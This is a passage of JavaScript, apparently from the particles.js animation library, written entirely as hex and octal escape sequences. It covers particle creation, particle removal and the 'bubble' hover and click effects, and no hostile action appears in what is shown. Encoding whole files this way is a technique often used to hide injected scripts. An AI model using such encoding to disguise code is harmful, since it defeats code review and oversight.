2\x53\x2e\146\156\x2e\x70\x61\162\x74\x69\143\154\145\50\x70\x4a\x53\56\x70\x61\162\164\151\x63\x6c\145\163\x2e\x63\x6f\154\157\162\54\x20\x70\112\123\56\x70\x61\162\x74\x69\143\154\145\163\56\157\160\141\143\151\x74\171\56\x76\141\154\165\x65\x2c\x20\x7b\12\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x27\x78\47\x3a\x20\x70\157\163\x20\77\40\160\157\x73\x2e\160\157\x73\137\170\x20\72\40\115\x61\x74\x68\x2e\x72\141\x6e\144\x6f\x6d\50\51\40\x2a\40\160\112\x53\x2e\x63\x61\x6e\166\x61\x73\x2e\167\54\12\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\x27\x79\47\72\x20\x70\x6f\x73\40\77\40\x70\x6f\163\x2e\160\157\x73\137\171\40\x3a\x20\115\x61\x74\150\56\x72\141\156\144\x6f\x6d\50\51\x20\x2a\40\x70\x4a\x53\x2e\x63\x61\x6e\x76\x61\163\x2e\x68\xa\x20\x20\x20\40\40\40\40\40\40\40\x20\40\175\51\x29\12\40\40\40\x20\40\40\40\40\x20\40\x20\x20\x69\146\x20\50\151\40\75\x3d\40\156\x62\x20\55\x20\61\51\x20\173\12\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\151\146\40\x28\x21\160\x4a\123\56\160\141\x72\164\x69\143\154\x65\163\56\155\157\x76\x65\56\x65\156\141\142\154\x65\x29\x20\173\xa\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x70\112\x53\x2e\x66\156\56\x70\x61\x72\164\x69\x63\154\x65\x73\104\162\141\x77\x28\51\xa\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\175\xa\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\160\x4a\x53\x2e\164\155\x70\56\x70\x75\163\x68\151\156\147\40\x3d\40\41\61\12\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\175\xa\x20\x20\x20\40\x20\x20\40\40\175\12\40\x20\40\x20\x7d\73\xa\40\x20\40\x20\160\x4a\123\56\146\x6e\56\155\x6f\x64\145\x73\x2e\162\145\x6d\x6f\166\145\120\x61\162\164\x69\143\x6c\145\163\40\x3d\x20\146\165\x6e\143\x74\x69\157\156\x28\156\142\x29\x20\x7b\12\x20\x20\x20\40\40\40\40\40\160\x4a\123\x2e\x70\x61\x72\x74\151\143\x6c\145\x73\56\141\x72\162\x61\x79\x2e\163\160\154\x69\x63\145\50\x30\x2c\40\x6e\142\x29\x3b\xa\40\x20\40\40\40\x20\40\40\x69\x66\x20\50\x21\x70\x4a\x53\x2e\x70\141\x72\164\x69\143\154\x65\163\x2e\x6d\157\x76\x65\56\x65\x6e\141\142\x6c\145\51\40\x7b\xa\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\160\112\123\x2e\x66\x6e\56\160\x61\x72\164\x69\143\x6c\145\x73\104\162\x61\167\x28\51\xa\40\40\x20\x20\40\x20\40\x20\x7d\xa\x20\40\x20\40\x7d\73\xa\40\x20\x20\40\160\112\123\56\146\x6e\56\155\x6f\144\145\163\56\x62\x75\142\142\x6c\x65\120\141\162\164\151\143\154\145\40\75\x20\x66\165\156\143\x74\x69\157\156\x28\x70\51\x20\173\xa\40\40\x20\40\40\x20\x20\x20\x69\146\x20\50\160\112\x53\x2e\x69\156\164\x65\162\141\143\x74\151\166\x69\x74\171\56\145\x76\x65\156\164\163\56\x6f\156\x68\157\166\x65\162\x2e\145\x6e\x61\142\x6c\x65\x20\x26\x26\40\x69\163\x49\156\x41\162\x72\141\171\x28\47\142\165\x62\x62\x6c\145\47\x2c\x20\x70\x4a\123\56\151\x6e\x74\145\162\x61\x63\164\x69\166\151\x74\171\56\x65\166\x65\x6e\x74\x73\56\x6f\x6e\x68\x6f\x76\145\x72\56\155\157\144\145\x29\51\40\173\12\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x76\141\x72\40\144\170\137\155\157\165\163\145\40\75\40\160\56\170\x20\55\40\x70\x4a\x53\x2e\x69\x6e\164\x65\162\x61\143\x74\151\166\x69\x74\171\56\x6d\157\x75\x73\x65\56\160\x6f\163\137\170\54\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\x64\171\x5f\155\157\165\x73\x65\x20\75\x20\160\x2e\x79\x20\55\x20\x70\112\x53\56\x69\156\x74\x65\x72\x61\143\164\x69\166\151\x74\x79\56\x6d\157\x75\163\145\56\160\x6f\163\137\x79\x2c\xa\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\144\x69\163\164\137\x6d\x6f\x75\163\x65\40\75\x20\115\141\164\x68\56\x73\161\162\x74\x28\144\170\137\155\x6f\165\x73\145\x20\x2a\x20\x64\170\x5f\x6d\157\165\163\145\40\x2b\x20\x64\171\x5f\155\157\x75\163\x65\x20\52\x20\x64\x79\137\x6d\x6f\165\x73\145\51\x2c\12\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x72\x61\164\151\157\x20\75\x20\x31\x20\55\x20\144\x69\163\x74\x5f\155\x6f\x75\163\145\x20\57\x20\160\112\x53\x2e\151\156\164\145\x72\141\x63\x74\151\x76\x69\164\x79\x2e\x6d\157\144\145\x73\56\142\165\x62\142\154\145\x2e\x64\x69\163\164\141\x6e\x63\145\x3b\12\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x66\165\x6e\143\x74\151\x6f\156\40\x69\156\x69\x74\50\x29\40\x7b\12\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\160\x2e\157\160\x61\x63\x69\164\x79\x5f\x62\x75\x62\142\x6c\145\40\75\40\160\56\x6f\160\141\x63\x69\x74\171\x3b\12\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\160\56\x72\141\x64\151\165\x73\137\x62\165\142\142\154\x65\x20\x3d\x20\x70\x2e\x72\141\144\151\x75\x73\xa\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\175\xa\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\151\x66\x20\50\x64\151\x73\164\137\155\157\165\x73\145\40\74\75\x20\160\112\x53\x2e\151\x6e\x74\x65\162\141\x63\x74\151\166\151\164\171\x2e\x6d\x6f\144\x65\163\56\x62\165\x62\142\x6c\145\56\144\151\x73\164\x61\156\x63\x65\51\40\x7b\xa\x20\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x69\x66\40\50\162\141\164\151\157\40\76\x3d\40\x30\x20\x26\x26\40\160\112\x53\56\x69\x6e\164\x65\162\x61\143\x74\151\166\x69\x74\171\x2e\x73\164\x61\x74\x75\x73\x20\75\x3d\40\x27\155\157\165\x73\145\155\157\166\x65\47\x29\x20\173\12\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\40\x69\146\x20\x28\160\112\123\56\151\x6e\164\145\x72\x61\x63\164\151\x76\151\x74\171\x2e\x6d\157\x64\145\x73\x2e\142\165\142\142\154\145\56\163\151\172\x65\x20\41\75\40\160\112\x53\x2e\x70\141\162\164\x69\143\x6c\x65\163\x2e\163\151\172\x65\x2e\x76\x61\x6c\165\145\51\40\173\12\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\151\x66\40\50\160\x4a\123\56\x69\156\x74\x65\162\141\x63\164\151\x76\x69\x74\171\x2e\155\157\144\x65\163\56\x62\165\142\142\x6c\145\56\163\151\x7a\145\40\76\40\160\x4a\x53\x2e\x70\141\x72\x74\x69\143\x6c\145\163\x2e\163\151\172\x65\56\166\141\154\x75\x65\x29\x20\x7b\12\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\166\x61\162\x20\163\151\172\x65\x20\75\x20\160\56\x72\141\144\151\x75\x73\x20\x2b\x20\x28\x70\112\123\x2e\x69\156\164\x65\162\x61\143\164\151\166\x69\164\171\56\155\157\x64\145\x73\x2e\x62\x75\x62\x62\154\x65\x2e\163\151\172\x65\x20\52\40\162\141\164\x69\x6f\x29\x3b\xa\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\40\x69\146\x20\50\163\x69\172\x65\40\x3e\x3d\x20\60\x29\40\x7b\12\40\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\160\56\162\141\x64\151\165\x73\x5f\x62\165\142\142\154\145\x20\x3d\40\163\151\172\x65\12\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\40\40\40\40\40\x20\40\40\175\xa\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\x7d\40\145\154\163\145\40\173\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\166\141\162\x20\x64\151\x66\x20\75\x20\160\56\162\x61\x64\x69\165\x73\40\x2d\40\160\x4a\x53\x2e\x69\156\164\x65\x72\141\x63\x74\x69\x76\x69\x74\171\x2e\x6d\x6f\144\x65\163\56\142\165\142\x62\154\145\56\163\151\172\x65\54\xa\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\163\151\172\145\x20\x3d\40\160\56\x72\x61\144\x69\165\x73\x20\x2d\x20\50\x64\151\146\40\52\x20\x72\141\x74\151\x6f\51\73\xa\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x69\146\40\x28\163\151\x7a\x65\40\76\40\60\51\x20\x7b\12\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\160\56\x72\x61\144\x69\x75\x73\137\x62\165\x62\142\x6c\145\x20\75\x20\x73\151\x7a\x65\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x7d\40\145\154\163\145\40\x7b\xa\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x70\x2e\162\141\x64\151\165\163\137\142\x75\142\142\x6c\145\x20\x3d\x20\x30\12\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\175\xa\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x7d\xa\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\x7d\12\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\x20\151\146\40\50\160\x4a\123\x2e\x69\x6e\164\145\162\x61\143\164\151\x76\151\x74\x79\x2e\155\x6f\144\145\x73\x2e\142\165\x62\142\154\x65\x2e\157\x70\141\143\x69\x74\x79\40\41\75\40\x70\x4a\123\56\160\x61\162\164\x69\x63\x6c\145\x73\56\157\160\141\143\x69\164\x79\56\x76\141\x6c\x75\145\51\x20\x7b\12\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\151\x66\40\x28\160\x4a\123\x2e\151\156\x74\145\162\x61\x63\x74\151\166\151\x74\171\56\155\157\x64\x65\x73\x2e\142\165\x62\142\x6c\x65\x2e\x6f\160\141\143\x69\164\171\40\x3e\40\x70\112\123\x2e\x70\141\x72\164\x69\143\154\145\x73\x2e\157\x70\141\143\x69\x74\x79\56\166\x61\x6c\x75\145\51\40\x7b\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\166\x61\x72\40\157\160\141\x63\151\164\x79\40\75\40\x70\x4a\x53\x2e\x69\x6e\164\145\162\x61\x63\164\151\x76\151\164\171\56\155\x6f\x64\145\x73\x2e\x62\x75\142\x62\x6c\x65\x2e\157\x70\141\143\x69\164\x79\x20\52\40\162\141\164\151\157\73\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x69\x66\x20\50\157\160\x61\x63\151\x74\x79\40\76\40\160\56\x6f\x70\x61\143\x69\x74\x79\x20\46\x26\40\157\160\141\x63\151\164\171\40\74\x3d\40\x70\x4a\123\56\x69\156\x74\145\x72\141\x63\x74\x69\x76\151\x74\x79\x2e\x6d\x6f\x64\x65\x73\56\142\x75\142\142\x6c\x65\x2e\x6f\x70\141\x63\151\x74\171\x29\40\x7b\xa\x20\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\40\40\160\56\x6f\160\141\x63\151\164\x79\137\x62\165\142\142\x6c\x65\40\75\40\157\x70\141\x63\x69\x74\171\xa\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\x7d\xa\40\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x7d\x20\145\x6c\163\x65\x20\x7b\xa\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\40\40\40\40\x20\x20\x20\166\141\162\x20\157\160\141\143\151\164\x79\x20\x3d\40\x70\56\157\160\x61\x63\151\x74\x79\40\55\40\x28\160\x4a\x53\56\x70\x61\x72\x74\151\x63\154\x65\163\x2e\x6f\160\x61\x63\x69\164\171\x2e\166\x61\x6c\165\145\40\55\40\x70\112\123\x2e\x69\x6e\x74\145\162\x61\x63\164\151\x76\x69\x74\171\56\155\x6f\144\145\x73\56\142\165\142\x62\154\145\x2e\157\160\141\143\x69\x74\x79\x29\40\x2a\40\x72\141\x74\x69\157\x3b\12\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x69\x66\x20\x28\157\x70\141\143\x69\x74\x79\40\x3c\40\160\x2e\x6f\x70\x61\x63\151\164\x79\40\46\x26\x20\157\160\x61\x63\151\164\171\40\x3e\75\x20\160\x4a\123\x2e\151\156\x74\x65\x72\x61\143\164\x69\166\x69\164\x79\x2e\155\x6f\x64\145\163\x2e\x62\x75\x62\142\154\x65\56\157\x70\x61\x63\151\x74\171\x29\x20\173\xa\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\160\x2e\x6f\x70\x61\x63\151\164\x79\x5f\142\165\142\142\x6c\x65\x20\75\40\157\x70\141\x63\151\x74\x79\12\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\175\xa\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\x7d\12\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\175\12\40\40\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\175\12\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\175\40\x65\154\163\x65\40\x7b\xa\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\x69\156\x69\164\x28\x29\xa\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x7d\xa\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\x69\146\40\x28\x70\x4a\123\56\151\156\x74\145\162\141\143\x74\151\x76\151\164\x79\x2e\163\164\x61\164\165\x73\x20\x3d\75\40\x27\x6d\x6f\x75\x73\x65\x6c\x65\x61\x76\x65\47\51\40\x7b\xa\40\x20\40\40\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\x69\x6e\151\164\x28\x29\xa\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x7d\12\x20\40\x20\40\x20\40\40\x20\175\x20\x65\154\x73\145\40\x69\146\40\x28\x70\x4a\123\x2e\x69\x6e\164\145\162\x61\143\x74\x69\x76\151\x74\x79\56\x65\166\x65\156\164\x73\x2e\x6f\x6e\x63\154\x69\x63\x6b\56\145\x6e\x61\x62\154\x65\x20\x26\46\x20\x69\x73\x49\156\x41\x72\x72\x61\171\50\x27\142\x75\x62\x62\154\x65\x27\x2c\x20\160\x4a\x53\56\151\156\x74\x65\162\x61\143\x74\151\x76\x69\x74\x79\x2e\145\166\x65\x6e\x74\x73\x2e\157\156\143\x6c\151\143\153\x2e\x6d\157\x64\145\x29\51\40\x7b\12\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x69\x66\x20\x28\160\x4a\x53\x2e\164\x6d\160\56\x62\x75\x62\142\154\x65\x5f\x63\154\x69\143\x6b\151\156\x67\51\40\173\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x76\x61\162\x20\x64\170\137\155\157\165\x73\x65\x20\x3d\40\160\x2e\x78\x20\x2d\x20\x70\112\123\x2e\x69\156\164\145\162\141\143\x74\151\x76\x69\164\x79\56\x6d\x6f\x75\x73\x65\56\x63\154\151\143\x6b\137\x70\x6f\163\137\x78\54\12\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\x20\40\144\171\x5f\155\x6f\165\163\x65\x20\75\x20\160\x2e\171\40\x2d\x20\x70\112\x53\x2e\151\x6e\164\x65\162\141\x63\x74\x69\x76\151\x74\x79\x2e\x6d\x6f\x75\x73\145\56\143\x6c\x69\143\x6b\137\x70\157\x73\137\x79\54\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\144\151\x73\x74\137\155\x6f\165\163\x65\40\75\40\115\141\x74\150\56\163\x71\162\x74\50\x64\x78\x5f\155\x6f\165\163\145\40\52\x20\x64\170\137\155\x6f\x75\163\x65\40\53\x20\x64\171\137\155\157\x75\163\x65\x20\52\x20\144\x79\137\x6d\x6f\x75\x73\x65\51\54\xa\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x74\x69\155\x65\x5f\x73\160\145\156\164\x20\75\x20\50\156\x65\x77\x20\x44\141\x74\x65\50\x29\x2e\x67\145\x74\x54\x69\x6d\145\50\x29\x20\x2d\40\x70\x4a\123\56\151\x6e\x74\x65\x72\141\143\x74\x69\x76\151\164\x79\56\x6d\157\165\x73\x65\x2e\x63\154\151\x63\x6b\x5f\x74\151\x6d\145\51\x20\57\x20\x31\60\60\x30\73\xa\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\151\146\40\50\164\151\155\x65\x5f\x73\x70\145\x6e\164\x20\76\40\160\x4a\x53\x2e\x69\x6e\164\145\x72\141\x63\x74\x69\x76\151\164\171\x2e\155\157\144\145\163\x2e\142\165\142\142\x6c\145\56\x64\165\162\x61\x74\151\x6f\x6e\x29\40\x7b\12\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\x70\x4a\123\x2e\x74\155\x70\x2e\x62\165\x62\x62\154\x65\x5f\144\165\x72\141\x74\151\x6f\156\137\x65\156\x64\x20\x3d\40\41\x30\xa\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x69\146\40\50\164\151\x6d\145\x5f\x73\x70\145\x6e\164\x20\x3e\x20\160\x4a\123\x2e\151\x6e\164\x65\162\x61\x63\164\x69\x76\x69\164\171\x2e\x6d\157\144\x65\x73\56\142\x75\x62\x62\154\x65\x2e\144\165\x72\141\164\151\157\x6e\40\x2a\40\62\51\x20\173\12\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\160\x4a\x53\x2e\164\155\x70\x2e\x62\x75\x62\x62\154\x65\x5f\x63\154\151\143\x6b\151\x6e\x67\x20\75\40\x21\x31\73\xa\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x70\x4a\123\56\164\155\160\x2e\x62\x75\142\x62\154\145\x5f\x64\x75\162\141\x74\x69\157\156\x5f\x65\x6e\x64\40\75\x20\41\61\12\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\175\xa\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x7d\12\xa\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\146\165\x6e\x63\164\151\x6f\156\40\160\x72\157\x63\145\163\x73\50\x62\165\142\142\x6c\145\x5f\160\x61\162\x61\x6d\x2c\40\x70\x61\162\x74\151\x63\x6c\145\x73\137\160\141\x72\x61\155\54\x20\160\137\x6f\x62\x6a\137\x62\165\x62\142\154\x65\x2c\x20\160\x5f\157\x62\x6a\54\x20\151\144\x29\40\x7b\xa\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x69\146\40\x28\142\x75\x62\142\x6c\x65\x5f\160\x61\x72\x61\x6d\40\x21\75\x20\x70\x61\162\164\151\x63\x6c\x65\163\137\x70\x61\x72\x61\155\51\x20\173\xa\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x69\x66\40\x28\41\160\112\123\x2e\164\x6d\160\56\x62\165\142\x62\x6c\x65\137\x64\x75\162\141\164\x69\x6f\156\x5f\145\156\144\51\x20\x7b\xa\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\151\x66\40\x28\144\x69\163\x74\x5f\155\x6f\165\x73\145\x20\74\75\x20\160\112\x53\x2e\151\x6e\x74\145\162\141\x63\164\x69\x76\151\x74\171\56\155\x6f\144\x65\163\56\x62\x75\x62\x62\154\145\56\x64\x69\163\164\x61\x6e\x63\x65\x29\40\x7b\12\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x69\146\40\x28\160\x5f\157\142\152\x5f\142\165\x62\142\154\x65\40\41\x3d\40\165\156\144\145\146\x69\x6e\145\144\51\x20\x76\x61\x72\x20\157\142\152\x20\x3d\x20\160\x5f\x6f\142\x6a\137\142\165\142\x62\154\x65\73\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\40\40\40\40\40\40\x20\40\40\145\x6c\x73\x65\x20\x76\141\162\40\x6f\142\x6a\x20\75\40\x70\137\x6f\142\x6a\x3b\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x69\x66\x20\50\157\142\152\40\41\x3d\x20\x62\x75\x62\x62\154\x65\137\x70\141\x72\141\155\51\x20\x7b\12\x20\40\40\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\166\x61\162\40\166\x61\154\x75\x65\40\x3d\40\160\x5f\157\x62\x6a\x20\x2d\x20\50\x74\151\155\x65\x5f\163\x70\x65\x6e\x74\40\x2a\40\50\x70\x5f\x6f\142\x6a\40\x2d\x20\x62\165\142\x62\154\x65\137\160\141\x72\x61\155\51\x20\x2f\x20\160\x4a\123\56\x69\x6e\164\x65\162\141\x63\164\151\x76\x69\164\171\56\155\157\x64\x65\163\x2e\142\x75\142\x62\x6c\145\56\144\x75\162\141\164\x69\157\x6e\x29\73\12\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x69\146\40\x28\x69\144\40\x3d\75\x20\47\163\x69\x7a\145\x27\51\40\x70\56\x72\x61\x64\151\165\x73\137\x62\165\142\142\154\x65\40\75\x20\166\141\154\165\x65\73\xa\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\40\151\x66\40\x28\x69\144\x20\x3d\x3d\40\47\157\160\141\143\x69\164\x79\47\51\x20\160\x2e\x6f\x70\x61\x63\151\164\x79\x5f\x62\x75\x62\x62\x6c\x65\40\x3d\40\x76\141\x6c\165\x65\12\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\175\40\x65\154\163\x65\x20\x7b\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x69\x66\x20\50\151\x64\40\x3d\75\x20\x27\x73\x69\172\x65\x27\x29\x20\160\56\162\141\x64\151\165\x73\137\142\x75\142\142\154\145\40\75\x20\165\x6e\x64\145\146\x69\156\x65\144\73\12\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x69\146\40\x28\x69\144\x20\x3d\x3d\x20\x27\157\x70\141\143\x69\164\171\x27\x29\40\160\x2e\157\160\x61\x63\151\164\171\x5f\x62\x75\x62\x62\x6c\145\40\75\x20\x75\x6e\x64\x65\x66\151\156\x65\x64\xa\40\40\40\x20\x20\40\40\40\40\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\x20\x7d\12\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x7d\40\x65\154\163\x65\40\173\12\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\40\151\x66\40\50\x70\137\157\x62\152\x5f\x62\165\x62\x62\x6c\x65\40\x21\x3d\40\165\156\144\x65\x66\x69\156\145\144\51\x20\173\12\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\166\x61\x72\x20\166\141\x6c\x75\x65\137\x74\x6d\x70\40\x3d\40\x70\x5f\x6f\x62\152\x20\55\40\50\164\x69\155\145\x5f\163\160\x65\156\164\x20\x2a\x20\x28\x70\137\x6f\142\x6a\x20\x2d\x20\x62\x75\142\x62\x6c\x65\x5f\160\x61\162\x61\155\51\x20\57\40\160\x4a\x53\x2e\x69\156\x74\145\x72\141\143\x74\x69\166\151\164\x79\56\155\157\144\145\163\x2e\142\165\x62\142\154\x65\56\144\165\x72\x61\x74\x69\x6f\156\51\x2c\12\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x64\151\146\40\x3d\x20\142\x75\x62\142\x6c\145\x5f\160\x61\162\x61\x6d\40\55\x20\x76\141\x6c\x75\145\x5f\164\x6d\x70\73\xa\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x76\x61\x6c\165\145\x20\75\40\x62\165\x62\142\x6c\x65\137\160\x61\162\141\x6d\40\53\40\x64\151\146\x3b\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x69\x66\40\50\x69\x64\x20\x3d\x3d\x20\47\x73\x69\x7a\x65\47\x29\40\x70\56\x72\x61\144\x69\165\163\x5f\142\x75\142\142\154\x65\40\75\40\166\141\x6c\165\x65\73\12\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\40\151\146\40\x28\x69\144\40\75\x3d\40\47\157\x70\141\143\x69\164\171\x27\x29\x20\160\x2e\157\x70\141\x63\x69\164\171\137\142\x75\x62\142\x6c\x65\40\75\40\x76\x61\154\165\145\xa\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x7d\12\40\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x7d\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x7d\xa\40\40\40\40\40\x20\40\40\x20\x20\40\x20\x7d\xa\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x69\146\x20\50\160\112\123\x2e\x74\x6d\160\x2e\x62\x75\142\x62\x6c\x65\137\x63\x6c\x69\143\x6b\x69\x6e\x67\51\x20\173\xa\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\160\x72\157\x63\x65\x73\163\50\160\112\123\56\151\x6e\x74\x65\x72\141\x63\164\151\166\x69\164\171\56\155\